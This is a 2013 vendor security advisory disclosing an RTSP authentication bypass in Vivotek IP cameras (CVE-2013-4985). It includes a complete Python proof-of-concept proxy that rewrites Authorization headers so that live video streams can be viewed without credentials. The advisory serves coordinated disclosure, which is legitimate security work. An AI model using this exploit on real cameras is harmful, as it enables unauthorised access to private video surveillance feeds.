CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
95.2%
**Title:**Vivotek IP Cameras RTSP Authentication Bypass
**Advisory ID:**CORE-2013-0704
**Advisory URL:**http://www.coresecurity.com/core-labs/advisories/vivotek-ip-cameras-rtsp-authentication-bypass
**Date published:**2013-11-05
**Date of last update:**2013-11-05
**Vendors contacted:**Vivotek
**Release mode:**Coordinated release
**Class:**Authentication issues [CWE-287]
**Impact:**Security bypass
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
CVE Name:CVE-2013-4985
A security vulnerability was found in Vivotek IP cameras [1] that could allow an unauthenticated remote attacker to bypass the RTSP basic authentication and access the video stream.
Vendor released the beta firmware 0301c and notifies that it should be the formal release [2013-10-28]; contact vendor for further information. Some mitigation actions for this issue may be:
This vulnerability was discovered and researched by Martin Di Paola from Core Security QA Team. The PoC of was made by Martin Di Paola with help of Martin Rocha from Core Development Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554. In order to run the proof of concept, follow the next steps:
poc.py
with these parameters: python poc.py 9999 192.168.1.1 554
Media > Open Network Stream
.rtsp://localhost:9999/live.sdp
.# # poc.py # # The contents of this software are copyright (c) 2013 CORE Security and (c) 2013 CoreLabs, # and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) # License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ # # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF # THIS SOFTWARE. # import sys from socket import * from threading import Thread import time LOGGING = 1 def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close() class UDPDispatcher(Thread): dispatchers = [] def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for port %d' % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove(self) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send(data) except Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) log('[*] Check live stream in rtsp://localhost:%d/live.sdp' % src_port) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): self.address = address def get_describe_data(self): return '' class Vivotek(Camera): def __init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n' class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559' def __init__(self, local_port, camera): self.last_describe_req = '' self.camera = camera self.local_port = local_port def start(self): log('[!] Starting bypasser') TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start() def spoof_rtsp_conn(self, data): auth_string = "Authorization: Basic" if auth_string in data: data = data.split("\r\n") new_data = [] for line in data: new_data.append(line if auth_string not in line else auth_string + " a") data = "\r\n".join(new_data) return data if __name__ == '__main__': if len(sys.argv) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
[1] <http://www.vivotek.com>
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at:https://www.coresecurity.com/core-labs.
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security’s software solutions build on over a decade of trusted research and leading-edge threat expertise from the company’s Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at: https://www.coresecurity.com.
The contents of this advisory are copyright © 2013 Core Security Technologies and © 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>
This advisory has been signed with the GPG key of Core Security Technologies advisories team.
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
95.2%